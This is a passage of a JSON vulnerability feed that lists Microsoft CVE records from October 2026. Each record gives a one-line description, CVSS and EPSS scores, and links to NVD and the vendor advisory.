affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88181","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88181&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88181, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88180","cveId":"CVE-2026-88180","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:38.833Z","updatedAt":"2026-10-20T00:35:07.867Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88180","asOf":"2026-10-20T00:35:07.867Z"},"epss":{"probability":0.0024,"percentile":0.15006,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88180&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88180","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88180","type":"primary","publishedAt":"2026-10-13T19:21:38.833Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88180","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88180&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88180, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88179","cveId":"CVE-2026-88179","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:38.673Z","updatedAt":"2026-10-20T00:35:30.677Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88179","asOf":"2026-10-20T00:35:30.677Z"},"epss":{"probability":0.00311,"percentile":0.23701,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88179&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88179","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88179","type":"primary","publishedAt":"2026-10-13T19:21:38.673Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88179","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88179&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88179, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88177","cveId":"CVE-2026-88177","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:38.400Z","updatedAt":"2026-10-20T00:36:11.810Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88177","asOf":"2026-10-20T00:36:11.810Z"},"epss":{"probability":0.0024,"percentile":0.14904,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88177&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88177","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88177","type":"primary","publishedAt":"2026-10-13T19:21:38.400Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88177","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88177&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88177, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88174","cveId":"CVE-2026-88174","aliases":[],"kind":"vulnerability","title":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Deployment Services allows an unauthorized attacker to execute code over a...","summary":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Deployment Services allows an unauthorized attacker to execute code over a network.","detail":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Deployment Services allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:38.120Z","updatedAt":"2026-10-20T00:36:33.750Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88174","asOf":"2026-10-20T00:36:33.750Z"},"epss":{"probability":0.00422,"percentile":0.36207,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88174&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88174","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88174","type":"primary","publishedAt":"2026-10-13T19:21:38.120Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88174","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88174&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88174, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88173","cveId":"CVE-2026-88173","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:37.973Z","updatedAt":"2026-10-20T00:36:54.550Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88173","asOf":"2026-10-20T00:36:54.550Z"},"epss":{"probability":0.00506,"percentile":0.42895,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88173&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88173","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88173","type":"primary","publishedAt":"2026-10-13T19:21:37.973Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88173","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88173&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88173, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88171","cveId":"CVE-2026-88171","aliases":[],"kind":"vulnerability","title":"Double free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.","summary":"Double free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.","detail":"Double free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:37.710Z","updatedAt":"2026-10-20T00:37:06.953Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88171","asOf":"2026-10-20T00:37:06.953Z"},"epss":{"probability":0.00688,"percentile":0.52432,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88171&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88171","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88171","type":"primary","publishedAt":"2026-10-13T19:21:37.710Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88171","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88171&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88171, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88168","cveId":"CVE-2026-88168","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:37.443Z","updatedAt":"2026-10-20T00:37:20.067Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88168","asOf":"2026-10-20T00:37:20.067Z"},"epss":{"probability":0.00311,"percentile":0.23697,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88168&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88168","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88168","type":"primary","publishedAt":"2026-10-13T19:21:37.443Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88168","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88168&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88168, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88166","cveId":"CVE-2026-88166","aliases":[],"kind":"vulnerability","title":"Integer overflow or wraparound in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","summary":"Integer overflow or wraparound in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","detail":"Integer overflow or wraparound in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:37.200Z","updatedAt":"2026-10-14T19:44:44.833Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88166","asOf":"2026-10-14T19:44:44.833Z"},"epss":{"probability":0.00947,"percentile":0.60894,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88166&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88166","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88166","type":"primary","publishedAt":"2026-10-13T19:21:37.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88166","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88166&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88166, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88165","cveId":"CVE-2026-88165","aliases":[],"kind":"vulnerability","title":"Out-of-bounds write in Active Directory Domain Services allows an authorized attacker to execute code over a network.","summary":"Out-of-bounds write in Active Directory Domain Services allows an authorized attacker to execute code over a network.","detail":"Out-of-bounds write in Active Directory Domain Services allows an authorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:37.020Z","updatedAt":"2026-10-20T00:37:31.703Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88165","asOf":"2026-10-20T00:37:31.703Z"},"epss":{"probability":0.00852,"percentile":0.5796,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88165&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88165","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88165","type":"primary","publishedAt":"2026-10-13T19:21:37.020Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88165","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88165&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88165, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88163","cveId":"CVE-2026-88163","aliases":[],"kind":"vulnerability","title":"Integer overflow or wraparound in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","summary":"Integer overflow or wraparound in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","detail":"Integer overflow or wraparound in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:36.900Z","updatedAt":"2026-10-14T19:44:41.720Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88163","asOf":"2026-10-14T19:44:41.720Z"},"epss":{"probability":0.00947,"percentile":0.60894,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88163&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88163","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88163","type":"primary","publishedAt":"2026-10-13T19:21:36.900Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88163","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88163&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88163, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88161","cveId":"CVE-2026-88161","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Local Security Authority (LSA) allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Local Security Authority (LSA) allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Local Security Authority (LSA) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:36.560Z","updatedAt":"2026-10-20T00:37:55.980Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88161","asOf":"2026-10-20T00:37:55.980Z"},"epss":{"probability":0.00246,"percentile":0.15676,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88161&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88161","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88161","type":"primary","publishedAt":"2026-10-13T19:21:36.560Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88161","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88161&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88161, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88160","cveId":"CVE-2026-88160","aliases":[],"kind":"vulnerability","title":"Concurrent 